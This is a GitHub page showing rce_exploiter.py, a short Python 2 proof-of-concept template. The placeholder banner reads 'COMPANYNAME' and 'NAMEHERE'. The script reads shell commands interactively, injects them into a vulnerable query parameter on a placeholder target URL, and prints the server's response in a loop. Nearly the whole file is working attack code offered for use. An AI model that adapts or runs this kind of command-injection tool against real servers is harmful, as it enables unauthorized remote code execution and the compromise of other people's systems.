-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathrce_exploiter.py
53 lines (48 loc) · 1.55 KB
/
rce_exploiter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import urllib2
import urllib
import bs4
from bs4 import BeautifulSoup
banner = ("#########################################\n"
"## COMPANYNAME - REMOTE CODE EXECUTION ##\n"
"## RCE PoC By NAMEHERE ##\n"
"#########################################")
print(banner)
print('')
# DEFINE Exploit
def rce_exploit():
try:
print('-- enter the bash command below --')
payload = urllib.quote(raw_input("SH: "))
print('')
print ('[+] sending command to server...')
target = ("http://exampletarget.com/?vulnerable_var=" + payload)
print ('[+] fetching server response...')
print('')
response = urllib2.urlopen(target)
fetch = BeautifulSoup(response, 'html.parser')
print('---------DATA RECEIVED---------')
print('')
print fetch.prettify()
print('-------------------------------')
print('')
except urllib2.HTTPError as e:
print ('[-] HTTP Error, request failed.')
print 'Error Code: ', e.code()
except urllib2.URLError as e:
print '[-] URL Error, Maybe patched or server down.'
print 'Error Reason: ', e.reason
# CALL Exploit
rce_exploit()
# FINALIZE
try:
print '[+] command executed successfully.'
print ''
again = raw_input('Would you like to execute another command [Y/N]?')
if again.lower() == 'yes' or again.lower() == 'y':
rce_exploit()
else:
print 'Goodbye :-)'
except Exception:
print '[-] Something went wrong.'
pass